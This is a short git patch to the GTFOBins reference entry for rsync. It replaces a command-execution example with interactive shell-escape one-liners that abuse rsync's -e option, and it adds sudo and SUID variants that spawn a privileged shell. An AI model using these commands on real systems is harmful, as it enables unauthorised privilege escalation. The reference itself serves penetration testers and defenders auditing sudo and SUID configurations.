From acf29564cb554056c3439bbd97bc2d48abb5f28d Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 19 Aug 2018 10:12:08 +0200 Subject: [PATCH] Simplify rsync and add interactive execute --- _gtfobins/rsync.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/_gtfobins/rsync.md b/_gtfobins/rsync.md index 79ff9e4..754d848 100644 --- a/_gtfobins/rsync.md +++ b/_gtfobins/rsync.md @@ -1,9 +1,9 @@ --- functions: - execute-non-interactive: - - code: echo "whoami > /tmp/whoami" > /tmp/tmpfile - rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null + execute-interactive: + - code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null sudo-enabled: - - code: echo "whoami > /tmp/whoami" > /tmp/tmpfile - sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null + - code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null + suid-enabled: + - code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null ---